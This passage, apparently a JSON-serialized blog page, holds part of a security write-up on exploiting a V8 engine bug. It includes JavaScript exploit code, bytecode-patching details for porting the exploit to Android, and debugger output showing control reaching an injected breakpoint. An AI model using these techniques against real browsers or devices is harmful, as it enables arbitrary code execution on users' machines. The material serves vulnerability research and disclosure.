50,132954,132958,132962,132966,132970,132974,132978,132982,132986,132990,132994,132998,133002,133006,133010,133014,133018,133022,133026,133030,133034,133038,133042,133046,133050,133054,133058,133062,133066,133070,133074,133078,133082,133086,133090,133094,133098,133102,133106,133110,133114,133118,133122,133126,133130,133134,133138,133142,133146,133150,133154,133158,133162,133166,133170,133174,133178,133182],{"type":19,"tag":168,"props":132946,"children":132947},{"style":192},[132948],{"type":24,"value":132949}," 195",{"type":19,"tag":168,"props":132951,"children":132952},{"style":212},[132953],{"type":24,"value":471},{"type":19,"tag":168,"props":132955,"children":132956},{"style":192},[132957],{"type":24,"value":41786},{"type":19,"tag":168,"props":132959,"children":132960},{"style":212},[132961],{"type":24,"value":471},{"type":19,"tag":168,"props":132963,"children":132964},{"style":192},[132965],{"type":24,"value":57098},{"type":19,"tag":168,"props":132967,"children":132968},{"style":212},[132969],{"type":24,"value":471},{"type":19,"tag":168,"props":132971,"children":132972},{"style":192},[132973],{"type":24,"value":94155},{"type":19,"tag":168,"props":132975,"children":132976},{"style":212},[132977],{"type":24,"value":471},{"type":19,"tag":168,"props":132979,"children":132980},{"style":192},[132981],{"type":24,"value":1452},{"type":19,"tag":168,"props":132983,"children":132984},{"style":212},[132985],{"type":24,"value":471},{"type":19,"tag":168,"props":132987,"children":132988},{"style":192},[132989],{"type":24,"value":14978},{"type":19,"tag":168,"props":132991,"children":132992},{"style":212},[132993],{"type":24,"value":471},{"type":19,"tag":168,"props":132995,"children":132996},{"style":192},[132997],{"type":24,"value":1452},{"type":19,"tag":168,"props":132999,"children":133000},{"style":212},[133001],{"type":24,"value":471},{"type":19,"tag":168,"props":133003,"children":133004},{"style":192},[133005],{"type":24,"value":1452},{"type":19,"tag":168,"props":133007,"children":133008},{"style":212},[133009],{"type":24,"value":471},{"type":19,"tag":168,"props":133011,"children":133012},{"style":192},[133013],{"type":24,"value":1452},{"type":19,"tag":168,"props":133015,"children":133016},{"style":212},[133017],{"type":24,"value":471},{"type":19,"tag":168,"props":133019,"children":133020},{"style":192},[133021],{"type":24,"value":1452},{"type":19,"tag":168,"props":133023,"children":133024},{"style":212},[133025],{"type":24,"value":471},{"type":19,"tag":168,"props":133027,"children":133028},{"style":192},[133029],{"type":24,"value":1452},{"type":19,"tag":168,"props":133031,"children":133032},{"style":212},[133033],{"type":24,"value":471},{"type":19,"tag":168,"props":133035,"children":133036},{"style":192},[133037],{"type":24,"value":1452},{"type":19,"tag":168,"props":133039,"children":133040},{"style":212},[133041],{"type":24,"value":471},{"type":19,"tag":168,"props":133043,"children":133044},{"style":192},[133045],{"type":24,"value":1452},{"type":19,"tag":168,"props":133047,"children":133048},{"style":212},[133049],{"type":24,"value":471},{"type":19,"tag":168,"props":133051,"children":133052},{"style":192},[133053],{"type":24,"value":1452},{"type":19,"tag":168,"props":133055,"children":133056},{"style":212},[133057],{"type":24,"value":471},{"type":19,"tag":168,"props":133059,"children":133060},{"style":192},[133061],{"type":24,"value":14978},{"type":19,"tag":168,"props":133063,"children":133064},{"style":212},[133065],{"type":24,"value":471},{"type":19,"tag":168,"props":133067,"children":133068},{"style":192},[133069],{"type":24,"value":1452},{"type":19,"tag":168,"props":133071,"children":133072},{"style":212},[133073],{"type":24,"value":471},{"type":19,"tag":168,"props":133075,"children":133076},{"style":192},[133077],{"type":24,"value":1452},{"type":19,"tag":168,"props":133079,"children":133080},{"style":212},[133081],{"type":24,"value":471},{"type":19,"tag":168,"props":133083,"children":133084},{"style":192},[133085],{"type":24,"value":1452},{"type":19,"tag":168,"props":133087,"children":133088},{"style":212},[133089],{"type":24,"value":471},{"type":19,"tag":168,"props":133091,"children":133092},{"style":192},[133093],{"type":24,"value":1452},{"type":19,"tag":168,"props":133095,"children":133096},{"style":212},[133097],{"type":24,"value":471},{"type":19,"tag":168,"props":133099,"children":133100},{"style":192},[133101],{"type":24,"value":1452},{"type":19,"tag":168,"props":133103,"children":133104},{"style":212},[133105],{"type":24,"value":471},{"type":19,"tag":168,"props":133107,"children":133108},{"style":192},[133109],{"type":24,"value":1452},{"type":19,"tag":168,"props":133111,"children":133112},{"style":212},[133113],{"type":24,"value":471},{"type":19,"tag":168,"props":133115,"children":133116},{"style":192},[133117],{"type":24,"value":1452},{"type":19,"tag":168,"props":133119,"children":133120},{"style":212},[133121],{"type":24,"value":471},{"type":19,"tag":168,"props":133123,"children":133124},{"style":192},[133125],{"type":24,"value":1452},{"type":19,"tag":168,"props":133127,"children":133128},{"style":212},[133129],{"type":24,"value":471},{"type":19,"tag":168,"props":133131,"children":133132},{"style":192},[133133],{"type":24,"value":1452},{"type":19,"tag":168,"props":133135,"children":133136},{"style":212},[133137],{"type":24,"value":471},{"type":19,"tag":168,"props":133139,"children":133140},{"style":192},[133141],{"type":24,"value":1452},{"type":19,"tag":168,"props":133143,"children":133144},{"style":212},[133145],{"type":24,"value":471},{"type":19,"tag":168,"props":133147,"children":133148},{"style":192},[133149],{"type":24,"value":1452},{"type":19,"tag":168,"props":133151,"children":133152},{"style":212},[133153],{"type":24,"value":471},{"type":19,"tag":168,"props":133155,"children":133156},{"style":192},[133157],{"type":24,"value":1452},{"type":19,"tag":168,"props":133159,"children":133160},{"style":212},[133161],{"type":24,"value":471},{"type":19,"tag":168,"props":133163,"children":133164},{"style":192},[133165],{"type":24,"value":1452},{"type":19,"tag":168,"props":133167,"children":133168},{"style":212},[133169],{"type":24,"value":471},{"type":19,"tag":168,"props":133171,"children":133172},{"style":192},[133173],{"type":24,"value":1452},{"type":19,"tag":168,"props":133175,"children":133176},{"style":212},[133177],{"type":24,"value":471},{"type":19,"tag":168,"props":133179,"children":133180},{"style":192},[133181],{"type":24,"value":1452},{"type":19,"tag":168,"props":133183,"children":133184},{"style":212},[133185],{"type":24,"value":915},{"type":19,"tag":168,"props":133187,"children":133188},{"class":170,"line":1008},[133189,133193,133197,133201,133205,133209,133213,133217,133221,133225,133229,133233,133237,133241,133245,133249,133253,133257,133261,133265,133269,133273,133277,133281,133285,133289,133293,133297,133301,133305,133309,133313,133317,133321,133325,133329,133333,133337,133341,133345,133349,133353,133357,133361,133365,133369,133373,133377,133381,133385,133389,133394,133398,133402],{"type":19,"tag":168,"props":133190,"children":133191},{"style":192},[133192],{"type":24,"value":131684},{"type":19,"tag":168,"props":133194,"children":133195},{"style":212},[133196],{"type":24,"value":471},{"type":19,"tag":168,"props":133198,"children":133199},{"style":192},[133200],{"type":24,"value":1452},{"type":19,"tag":168,"props":133202,"children":133203},{"style":212},[133204],{"type":24,"value":471},{"type":19,"tag":168,"props":133206,"children":133207},{"style":192},[133208],{"type":24,"value":1452},{"type":19,"tag":168,"props":133210,"children":133211},{"style":212},[133212],{"type":24,"value":471},{"type":19,"tag":168,"props":133214,"children":133215},{"style":192},[133216],{"type":24,"value":1452},{"type":19,"tag":168,"props":133218,"children":133219},{"style":212},[133220],{"type":24,"value":471},{"type":19,"tag":168,"props":133222,"children":133223},{"style":192},[133224],{"type":24,"value":1452},{"type":19,"tag":168,"props":133226,"children":133227},{"style":212},[133228],{"type":24,"value":471},{"type":19,"tag":168,"props":133230,"children":133231},{"style":192},[133232],{"type":24,"value":1452},{"type":19,"tag":168,"props":133234,"children":133235},{"style":212},[133236],{"type":24,"value":471},{"type":19,"tag":168,"props":133238,"children":133239},{"style":192},[133240],{"type":24,"value":1452},{"type":19,"tag":168,"props":133242,"children":133243},{"style":212},[133244],{"type":24,"value":471},{"type":19,"tag":168,"props":133246,"children":133247},{"style":192},[133248],{"type":24,"value":1452},{"type":19,"tag":168,"props":133250,"children":133251},{"style":212},[133252],{"type":24,"value":471},{"type":19,"tag":168,"props":133254,"children":133255},{"style":192},[133256],{"type":24,"value":1452},{"type":19,"tag":168,"props":133258,"children":133259},{"style":212},[133260],{"type":24,"value":471},{"type":19,"tag":168,"props":133262,"children":133263},{"style":192},[133264],{"type":24,"value":1452},{"type":19,"tag":168,"props":133266,"children":133267},{"style":212},[133268],{"type":24,"value":471},{"type":19,"tag":168,"props":133270,"children":133271},{"style":192},[133272],{"type":24,"value":1452},{"type":19,"tag":168,"props":133274,"children":133275},{"style":212},[133276],{"type":24,"value":471},{"type":19,"tag":168,"props":133278,"children":133279},{"style":192},[133280],{"type":24,"value":1452},{"type":19,"tag":168,"props":133282,"children":133283},{"style":212},[133284],{"type":24,"value":471},{"type":19,"tag":168,"props":133286,"children":133287},{"style":192},[133288],{"type":24,"value":1452},{"type":19,"tag":168,"props":133290,"children":133291},{"style":212},[133292],{"type":24,"value":471},{"type":19,"tag":168,"props":133294,"children":133295},{"style":192},[133296],{"type":24,"value":1452},{"type":19,"tag":168,"props":133298,"children":133299},{"style":212},[133300],{"type":24,"value":471},{"type":19,"tag":168,"props":133302,"children":133303},{"style":192},[133304],{"type":24,"value":1452},{"type":19,"tag":168,"props":133306,"children":133307},{"style":212},[133308],{"type":24,"value":471},{"type":19,"tag":168,"props":133310,"children":133311},{"style":192},[133312],{"type":24,"value":1452},{"type":19,"tag":168,"props":133314,"children":133315},{"style":212},[133316],{"type":24,"value":471},{"type":19,"tag":168,"props":133318,"children":133319},{"style":192},[133320],{"type":24,"value":1452},{"type":19,"tag":168,"props":133322,"children":133323},{"style":212},[133324],{"type":24,"value":471},{"type":19,"tag":168,"props":133326,"children":133327},{"style":192},[133328],{"type":24,"value":1452},{"type":19,"tag":168,"props":133330,"children":133331},{"style":212},[133332],{"type":24,"value":471},{"type":19,"tag":168,"props":133334,"children":133335},{"style":192},[133336],{"type":24,"value":1452},{"type":19,"tag":168,"props":133338,"children":133339},{"style":212},[133340],{"type":24,"value":471},{"type":19,"tag":168,"props":133342,"children":133343},{"style":192},[133344],{"type":24,"value":1452},{"type":19,"tag":168,"props":133346,"children":133347},{"style":212},[133348],{"type":24,"value":471},{"type":19,"tag":168,"props":133350,"children":133351},{"style":192},[133352],{"type":24,"value":1452},{"type":19,"tag":168,"props":133354,"children":133355},{"style":212},[133356],{"type":24,"value":471},{"type":19,"tag":168,"props":133358,"children":133359},{"style":192},[133360],{"type":24,"value":1452},{"type":19,"tag":168,"props":133362,"children":133363},{"style":212},[133364],{"type":24,"value":471},{"type":19,"tag":168,"props":133366,"children":133367},{"style":192},[133368],{"type":24,"value":1452},{"type":19,"tag":168,"props":133370,"children":133371},{"style":212},[133372],{"type":24,"value":471},{"type":19,"tag":168,"props":133374,"children":133375},{"style":192},[133376],{"type":24,"value":26893},{"type":19,"tag":168,"props":133378,"children":133379},{"style":212},[133380],{"type":24,"value":471},{"type":19,"tag":168,"props":133382,"children":133383},{"style":192},[133384],{"type":24,"value":132937},{"type":19,"tag":168,"props":133386,"children":133387},{"style":212},[133388],{"type":24,"value":471},{"type":19,"tag":168,"props":133390,"children":133391},{"style":192},[133392],{"type":24,"value":133393},"198",{"type":19,"tag":168,"props":133395,"children":133396},{"style":212},[133397],{"type":24,"value":471},{"type":19,"tag":168,"props":133399,"children":133400},{"style":192},[133401],{"type":24,"value":1452},{"type":19,"tag":168,"props":133403,"children":133404},{"style":212},[133405],{"type":24,"value":915},{"type":19,"tag":168,"props":133407,"children":133408},{"class":170,"line":1025},[133409],{"type":19,"tag":168,"props":133410,"children":133411},{"style":212},[133412],{"type":24,"value":131971},{"type":19,"tag":168,"props":133414,"children":133415},{"class":170,"line":1042},[133416,133420,133425,133429,133434,133438,133442,133446,133450,133454,133458],{"type":19,"tag":168,"props":133417,"children":133418},{"style":382},[133419],{"type":24,"value":5292},{"type":19,"tag":168,"props":133421,"children":133422},{"style":393},[133423],{"type":24,"value":133424}," r",{"type":19,"tag":168,"props":133426,"children":133427},{"style":399},[133428],{"type":24,"value":402},{"type":19,"tag":168,"props":133430,"children":133431},{"style":175},[133432],{"type":24,"value":133433}," bug",{"type":19,"tag":168,"props":133435,"children":133436},{"style":212},[133437],{"type":24,"value":500},{"type":19,"tag":168,"props":133439,"children":133440},{"style":393},[133441],{"type":24,"value":131302},{"type":19,"tag":168,"props":133443,"children":133444},{"style":212},[133445],{"type":24,"value":471},{"type":19,"tag":168,"props":133447,"children":133448},{"style":393},[133449],{"type":24,"value":122629},{"type":19,"tag":168,"props":133451,"children":133452},{"style":212},[133453],{"type":24,"value":948},{"type":19,"tag":168,"props":133455,"children":133456},{"style":393},[133457],{"type":24,"value":122629},{"type":19,"tag":168,"props":133459,"children":133460},{"style":212},[133461],{"type":24,"value":1249},{"type":19,"tag":168,"props":133463,"children":133464},{"class":170,"line":1055},[133465,133470,133474,133478,133482,133486,133490,133494,133499,133503],{"type":19,"tag":168,"props":133466,"children":133467},{"style":393},[133468],{"type":24,"value":133469}," result",{"type":19,"tag":168,"props":133471,"children":133472},{"style":399},[133473],{"type":24,"value":402},{"type":19,"tag":168,"props":133475,"children":133476},{"style":212},[133477],{"type":24,"value":461},{"type":19,"tag":168,"props":133479,"children":133480},{"style":419},[133481],{"type":24,"value":30389},{"type":19,"tag":168,"props":133483,"children":133484},{"style":393},[133485],{"type":24,"value":133424},{"type":19,"tag":168,"props":133487,"children":133488},{"style":212},[133489],{"type":24,"value":948},{"type":19,"tag":168,"props":133491,"children":133492},{"style":175},[133493],{"type":24,"value":55049},{"type":19,"tag":168,"props":133495,"children":133496},{"style":212},[133497],{"type":24,"value":133498},"()).",{"type":19,"tag":168,"props":133500,"children":133501},{"style":393},[133502],{"type":24,"value":36627},{"type":19,"tag":168,"props":133504,"children":133505},{"style":212},[133506],{"type":24,"value":412},{"type":19,"tag":168,"props":133508,"children":133509},{"class":170,"line":1064},[133510,133514,133519,133523,133527,133531,133535,133539,133543,133547],{"type":19,"tag":168,"props":133511,"children":133512},{"style":382},[133513],{"type":24,"value":33663},{"type":19,"tag":168,"props":133515,"children":133516},{"style":393},[133517],{"type":24,"value":133518}," wasm_instance",{"type":19,"tag":168,"props":133520,"children":133521},{"style":399},[133522],{"type":24,"value":402},{"type":19,"tag":168,"props":133524,"children":133525},{"style":382},[133526],{"type":24,"value":29405},{"type":19,"tag":168,"props":133528,"children":133529},{"style":393},[133530],{"type":24,"value":131285},{"type":19,"tag":168,"props":133532,"children":133533},{"style":212},[133534],{"type":24,"value":948},{"type":19,"tag":168,"props":133536,"children":133537},{"style":175},[133538],{"type":24,"value":131339},{"type":19,"tag":168,"props":133540,"children":133541},{"style":212},[133542],{"type":24,"value":500},{"type":19,"tag":168,"props":133544,"children":133545},{"style":393},[133546],{"type":24,"value":6522},{"type":19,"tag":168,"props":133548,"children":133549},{"style":212},[133550],{"type":24,"value":1249},{"type":19,"tag":168,"props":133552,"children":133553},{"class":170,"line":1087},[133554,133558,133562,133566,133570,133574,133578,133582,133586],{"type":19,"tag":168,"props":133555,"children":133556},{"style":382},[133557],{"type":24,"value":33663},{"type":19,"tag":168,"props":133559,"children":133560},{"style":393},[133561],{"type":24,"value":30444},{"type":19,"tag":168,"props":133563,"children":133564},{"style":399},[133565],{"type":24,"value":402},{"type":19,"tag":168,"props":133567,"children":133568},{"style":393},[133569],{"type":24,"value":133518},{"type":19,"tag":168,"props":133571,"children":133572},{"style":212},[133573],{"type":24,"value":948},{"type":19,"tag":168,"props":133575,"children":133576},{"style":393},[133577],{"type":24,"value":35361},{"type":19,"tag":168,"props":133579,"children":133580},{"style":212},[133581],{"type":24,"value":948},{"type":19,"tag":168,"props":133583,"children":133584},{"style":393},[133585],{"type":24,"value":131388},{"type":19,"tag":168,"props":133587,"children":133588},{"style":212},[133589],{"type":24,"value":412},{"type":19,"tag":168,"props":133591,"children":133592},{"class":170,"line":1096},[133593,133598],{"type":19,"tag":168,"props":133594,"children":133595},{"style":175},[133596],{"type":24,"value":133597}," f",{"type":19,"tag":168,"props":133599,"children":133600},{"style":212},[133601],{"type":24,"value":1084},{"type":19,"tag":168,"props":133603,"children":133604},{"class":170,"line":1105},[133605],{"type":19,"tag":168,"props":133606,"children":133607},{"style":212},[133608],{"type":24,"value":99472},{"type":19,"tag":20,"props":133610,"children":133611},{},[133612],{"type":24,"value":133613},"Running this in a debugger shows the expected breakpoint:",{"type":19,"tag":158,"props":133615,"children":133617},{"code":133616},"Thread 1 \"d8\" received signal SIGTRAP, Trace/breakpoint trap.\n0x00002ae46bfc1841 in ?? ()\n────────────────────────────────────────────────────────────────────────────\n 0x2ae46bfc183c add BYTE PTR [rax], al\n 0x2ae46bfc183e add BYTE PTR [rax], al\n 0x2ae46bfc1840 int3\n → 0x2ae46bfc1841 mov rbp, rsp\n",[133618],{"type":19,"tag":27,"props":133619,"children":133620},{"__ignoreMap":7},[133621],{"type":24,"value":133616},{"type":19,"tag":7050,"props":133623,"children":133625},{"id":133624},"porting-to-android",[133626],{"type":24,"value":133627},"Porting to Android",{"type":19,"tag":20,"props":133629,"children":133630},{},[133631,133633,133638,133640,133645,133647,133652,133654,133660],{"type":24,"value":133632},"The serialized x86-64 code can’t be used on the device because the architecture differs, and ",{"type":19,"tag":27,"props":133634,"children":133636},{"className":133635},[],[133637],{"type":24,"value":130417},{"type":24,"value":133639}," fails. We cross-compiled ",{"type":19,"tag":27,"props":133641,"children":133643},{"className":133642},[],[133644],{"type":24,"value":129576},{"type":24,"value":133646}," for arm64 and serialized the module there, but this still didn’t work on the device and ",{"type":19,"tag":27,"props":133648,"children":133650},{"className":133649},[],[133651],{"type":24,"value":130417},{"type":24,"value":133653}," returned ",{"type":19,"tag":27,"props":133655,"children":133657},{"className":133656},[],[133658],{"type":24,"value":133659},"undefined",{"type":24,"value":948},{"type":19,"tag":20,"props":133662,"children":133663},{},[133664,133666,133671,133673,133678],{"type":24,"value":133665},"Instead, we modified the bytecode to call ",{"type":19,"tag":27,"props":133667,"children":133669},{"className":133668},[],[133670],{"type":24,"value":130443},{"type":24,"value":133672}," directly on the device. The idea is to serialize the code on the device and then feed the resulting bytes back into the original bytecode that calls ",{"type":19,"tag":27,"props":133674,"children":133676},{"className":133675},[],[133677],{"type":24,"value":130417},{"type":24,"value":948},{"type":19,"tag":158,"props":133680,"children":133682},{"code":133681,"language":33090,"meta":7,"className":33088,"style":7},"try {\n ${'a1 + 0xa931111;'.repeat(0x059301 - 1)}\n a1 + 0x03027a6c;\n throw 0x393e71a;\n} catch (e) {\n console.log(\"foo\");\n yield a16;\n}\n",[133683],{"type":19,"tag":27,"props":133684,"children":133685},{"__ignoreMap":7},[133686,133697,133741,133761,133777,133800,133827,133842],{"type":19,"tag":168,"props":133687,"children":133688},{"class":170,"line":171},[133689,133693],{"type":19,"tag":168,"props":133690,"children":133691},{"style":419},[133692],{"type":24,"value":45813},{"type":19,"tag":168,"props":133694,"children":133695},{"style":212},[133696],{"type":24,"value":691},{"type":19,"tag":168,"props":133698,"children":133699},{"class":170,"line":198},[133700,133704,133708,133712,133716,133720,133724,133729,133733,133737],{"type":19,"tag":168,"props":133701,"children":133702},{"style":393},[133703],{"type":24,"value":130684},{"type":19,"tag":168,"props":133705,"children":133706},{"style":212},[133707],{"type":24,"value":74107},{"type":19,"tag":168,"props":133709,"children":133710},{"style":181},[133711],{"type":24,"value":130693},{"type":19,"tag":168,"props":133713,"children":133714},{"style":212},[133715],{"type":24,"value":948},{"type":19,"tag":168,"props":133717,"children":133718},{"style":175},[133719],{"type":24,"value":130702},{"type":19,"tag":168,"props":133721,"children":133722},{"style":212},[133723],{"type":24,"value":500},{"type":19,"tag":168,"props":133725,"children":133726},{"style":192},[133727],{"type":24,"value":133728},"0x059301",{"type":19,"tag":168,"props":133730,"children":133731},{"style":399},[133732],{"type":24,"value":48738},{"type":19,"tag":168,"props":133734,"children":133735},{"style":192},[133736],{"type":24,"value":1954},{"type":19,"tag":168,"props":133738,"children":133739},{"style":212},[133740],{"type":24,"value":130724},{"type":19,"tag":168,"props":133742,"children":133743},{"class":170,"line":415},[133744,133748,133752,133757],{"type":19,"tag":168,"props":133745,"children":133746},{"style":393},[133747],{"type":24,"value":130732},{"type":19,"tag":168,"props":133749,"children":133750},{"style":399},[133751],{"type":24,"value":6343},{"type":19,"tag":168,"props":133753,"children":133754},{"style":192},[133755],{"type":24,"value":133756}," 0x03027a6c",{"type":19,"tag":168,"props":133758,"children":133759},{"style":212},[133760],{"type":24,"value":412},{"type":19,"tag":168,"props":133762,"children":133763},{"class":170,"line":450},[133764,133768,133773],{"type":19,"tag":168,"props":133765,"children":133766},{"style":419},[133767],{"type":24,"value":32676},{"type":19,"tag":168,"props":133769,"children":133770},{"style":192},[133771],{"type":24,"value":133772}," 0x393e71a",{"type":19,"tag":168,"props":133774,"children":133775},{"style":212},[133776],{"type":24,"value":412},{"type":19,"tag":168,"props":133778,"children":133779},{"class":170,"line":560},[133780,133784,133788,133792,133796],{"type":19,"tag":168,"props":133781,"children":133782},{"style":212},[133783],{"type":24,"value":44355},{"type":19,"tag":168,"props":133785,"children":133786},{"style":419},[133787],{"type":24,"value":45893},{"type":19,"tag":168,"props":133789,"children":133790},{"style":212},[133791],{"type":24,"value":461},{"type":19,"tag":168,"props":133793,"children":133794},{"style":393},[133795],{"type":24,"value":48937},{"type":19,"tag":168,"props":133797,"children":133798},{"style":212},[133799],{"type":24,"value":12250},{"type":19,"tag":168,"props":133801,"children":133802},{"class":170,"line":666},[133803,133807,133811,133815,133819,133823],{"type":19,"tag":168,"props":133804,"children":133805},{"style":393},[133806],{"type":24,"value":99431},{"type":19,"tag":168,"props":133808,"children":133809},{"style":212},[133810],{"type":24,"value":948},{"type":19,"tag":168,"props":133812,"children":133813},{"style":175},[133814],{"type":24,"value":99440},{"type":19,"tag":168,"props":133816,"children":133817},{"style":212},[133818],{"type":24,"value":500},{"type":19,"tag":168,"props":133820,"children":133821},{"style":181},[133822],{"type":24,"value":130808},{"type":19,"tag":168,"props":133824,"children":133825},{"style":212},[133826],{"type":24,"value":1249},{"type":19,"tag":168,"props":133828,"children":133829},{"class":170,"line":694},[133830,133834,133838],{"type":19,"tag":168,"props":133831,"children":133832},{"style":419},[133833],{"type":24,"value":130820},{"type":19,"tag":168,"props":133835,"children":133836},{"style":393},[133837],{"type":24,"value":130825},{"type":19,"tag":168,"props":133839,"children":133840},{"style":212},[133841],{"type":24,"value":412},{"type":19,"tag":168,"props":133843,"children":133844},{"class":170,"line":707},[133845],{"type":19,"tag":168,"props":133846,"children":133847},{"style":212},[133848],{"type":24,"value":1326},{"type":19,"tag":20,"props":133850,"children":133851},{},[133852,133854,133860,133862,133868,133870,133876,133878,133883,133885,133891,133893,133898,133899,133905],{"type":24,"value":133853},"Here, ",{"type":19,"tag":27,"props":133855,"children":133857},{"className":133856},[],[133858],{"type":24,"value":133859},"a1 + 0x03027a6c",{"type":24,"value":133861}," generates the bytes ",{"type":19,"tag":27,"props":133863,"children":133865},{"className":133864},[],[133866],{"type":24,"value":133867},"01 4b 6c 7a 02 03",{"type":24,"value":133869},", where ",{"type":19,"tag":27,"props":133871,"children":133873},{"className":133872},[],[133874],{"type":24,"value":133875},"0x6c",{"type":24,"value":133877}," is the ",{"type":19,"tag":27,"props":133879,"children":133881},{"className":133880},[],[133882],{"type":24,"value":130401},{"type":24,"value":133884}," opcode, ",{"type":19,"tag":27,"props":133886,"children":133888},{"className":133887},[],[133889],{"type":24,"value":133890},"0x027a",{"type":24,"value":133892}," is the function ID of ",{"type":19,"tag":27,"props":133894,"children":133896},{"className":133895},[],[133897],{"type":24,"value":130443},{"type":24,"value":3923},{"type":19,"tag":27,"props":133900,"children":133902},{"className":133901},[],[133903],{"type":24,"value":133904},"0x03",{"type":24,"value":133906}," is the register index holding its first argument.",{"type":19,"tag":20,"props":133908,"children":133909},{},[133910,133912,133917,133918,133923,133925,133930],{"type":24,"value":133911},"Our earlier javascript snippet that serialized the wasm module used two native calls: ",{"type":19,"tag":27,"props":133913,"children":133915},{"className":133914},[],[133916],{"type":24,"value":130443},{"type":24,"value":8436},{"type":19,"tag":27,"props":133919,"children":133921},{"className":133920},[],[133922],{"type":24,"value":131411},{"type":24,"value":133924},". To avoid patching the bytecode again to invoke ",{"type":19,"tag":27,"props":133926,"children":133928},{"className":133927},[],[133929],{"type":24,"value":131411},{"type":24,"value":133931},", we can force Turbofan to compile the target function like this:",{"type":19,"tag":158,"props":133933,"children":133935},{"code":133934,"language":33090,"meta":7,"className":33088,"style":7},"// %WasmTierUpFunction(func);\nfor (let i = 0; i \u003C 0x100000; i++) {\n func();\n}\n",[133936],{"type":19,"tag":27,"props":133937,"children":133938},{"__ignoreMap":7},[133939,133947,134007,134019],{"type":19,"tag":168,"props":133940,"children":133941},{"class":170,"line":171},[133942],{"type":19,"tag":168,"props":133943,"children":133944},{"style":373},[133945],{"type":24,"value":133946},"// %WasmTierUpFunction(func);\n",{"type":19,"tag":168,"props":133948,"children":133949},{"class":170,"line":198},[133950,133954,133958,133962,133966,133970,133974,133978,133982,133986,133991,133995,133999,134003],{"type":19,"tag":168,"props":133951,"children":133952},{"style":419},[133953],{"type":24,"value":799},{"type":19,"tag":168,"props":133955,"children":133956},{"style":212},[133957],{"type":24,"value":461},{"type":19,"tag":168,"props":133959,"children":133960},{"style":382},[133961],{"type":24,"value":9232},{"type":19,"tag":168,"props":133963,"children":133964},{"style":393},[133965],{"type":24,"value":804},{"type":19,"tag":168,"props":133967,"children":133968},{"style":399},[133969],{"type":24,"value":402},{"type":19,"tag":168,"props":133971,"children":133972},{"style":192},[133973],{"type":24,"value":437},{"type":19,"tag":168,"props":133975,"children":133976},{"style":212},[133977],{"type":24,"value":14676},{"type":19,"tag":168,"props":133979,"children":133980},{"style":393},[133981],{"type":24,"value":1157},{"type":19,"tag":168,"props":133983,"children":133984},{"style":399},[133985],{"type":24,"value":6157},{"type":19,"tag":168,"props":133987,"children":133988},{"style":192},[133989],{"type":24,"value":133990}," 0x100000",{"type":19,"tag":168,"props":133992,"children":133993},{"style":212},[133994],{"type":24,"value":14676},{"type":19,"tag":168,"props":133996,"children":133997},{"style":393},[133998],{"type":24,"value":1157},{"type":19,"tag":168,"props":134000,"children":134001},{"style":399},[134002],{"type":24,"value":48752},{"type":19,"tag":168,"props":134004,"children":134005},{"style":212},[134006],{"type":24,"value":12250},{"type":19,"tag":168,"props":134008,"children":134009},{"class":170,"line":415},[134010,134015],{"type":19,"tag":168,"props":134011,"children":134012},{"style":175},[134013],{"type":24,"value":134014}," func",{"type":19,"tag":168,"props":134016,"children":134017},{"style":212},[134018],{"type":24,"value":1084},{"type":19,"tag":168,"props":134020,"children":134021},{"class":170,"line":450},[134022],{"type":19,"tag":168,"props":134023,"children":134024},{"style":212},[134025],{"type":24,"value":1326},{"type":19,"tag":20,"props":134027,"children":134028},{},[134029],{"type":24,"value":134030},"Finally, running this code on the device:",{"type":19,"tag":158,"props":134032,"children":134034},{"code":134033,"language":33090,"meta":7,"className":33088,"style":7},"(async () => {\n var wasm_code = new Uint8Array([\n 0, 97, 115, 109, 1, 0, 0, 0, 1, 4, 1, 96, 0, 0, 3, 2, 1, 0, 7, 9, 1, 5, 115, 104, 101, 108, 108,\n 0, 0, 10, 4, 1, 2, 0, 11,\n ]);\n var mod = new WebAssembly.Module(wasm_code);\n var inst = new WebAssembly.Instance(mod);\n var func = inst.exports.shell;\n\n // %WasmTierUpFunction(func);\n for (let i = 0; i \u003C 0x100000; i++) {\n func();\n }\n\n let r = bug(mod);\n result = (await r.next()).value;\n console.log(result);\n\n let result_bytes = new Uint8Array(result);\n console.log('[' + result_bytes.join(', ') + ']');\n})();\n",[134035],{"type":19,"tag":27,"props":134036,"children":134037},{"__ignoreMap":7},[134038,134061,134089,134308,134375,134382,134425,134468,134507,134514,134522,134582,134594,134601,134608,134639,134682,134709,134716,134752,134815],{"type":19,"tag":168,"props":134039,"children":134040},{"class":170,"line":171},[134041,134045,134049,134053,134057],{"type":19,"tag":168,"props":134042,"children":134043},{"style":212},[134044],{"type":24,"value":500},{"type":19,"tag":168,"props":134046,"children":134047},{"style":382},[134048],{"type":24,"value":33620},{"type":19,"tag":168,"props":134050,"children":134051},{"style":212},[134052],{"type":24,"value":37172},{"type":19,"tag":168,"props":134054,"children":134055},{"style":382},[134056],{"type":24,"value":12268},{"type":19,"tag":168,"props":134058,"children":134059},{"style":212},[134060],{"type":24,"value":691},{"type":19,"tag":168,"props":134062,"children":134063},{"class":170,"line":198},[134064,134069,134073,134077,134081,134085],{"type":19,"tag":168,"props":134065,"children":134066},{"style":382},[134067],{"type":24,"value":134068}," var",{"type":19,"tag":168,"props":134070,"children":134071},{"style":393},[134072],{"type":24,"value":130941},{"type":19,"tag":168,"props":134074,"children":134075},{"style":399},[134076],{"type":24,"value":402},{"type":19,"tag":168,"props":134078,"children":134079},{"style":382},[134080],{"type":24,"value":29405},{"type":19,"tag":168,"props":134082,"children":134083},{"style":175},[134084],{"type":24,"value":130954},{"type":19,"tag":168,"props":134086,"children":134087},{"style":212},[134088],{"type":24,"value":130959},{"type":19,"tag":168,"props":134090,"children":134091},{"class":170,"line":415},[134092,134096,134100,134104,134108,134112,134116,134120,134124,134128,134132,134136,134140,134144,134148,134152,134156,134160,134164,134168,134172,134176,134180,134184,134188,134192,134196,134200,134204,134208,134212,134216,134220,134224,134228,134232,134236,134240,134244,134248,134252,134256,134260,134264,134268,134272,134276,134280,134284,134288,134292,134296,134300,134304],{"type":19,"tag":168,"props":134093,"children":134094},{"style":192},[134095],{"type":24,"value":131684},{"type":19,"tag":168,"props":134097,"children":134098},{"style":212},[134099],{"type":24,"value":471},{"type":19,"tag":168,"props":134101,"children":134102},{"style":192},[134103],{"type":24,"value":130976},{"type":19,"tag":168,"props":134105,"children":134106},{"style":212},[134107],{"type":24,"value":471},{"type":19,"tag":168,"props":134109,"children":134110},{"style":192},[134111],{"type":24,"value":130985},{"type":19,"tag":168,"props":134113,"children":134114},{"style":212},[134115],{"type":24,"value":471},{"type":19,"tag":168,"props":134117,"children":134118},{"style":192},[134119],{"type":24,"value":130994},{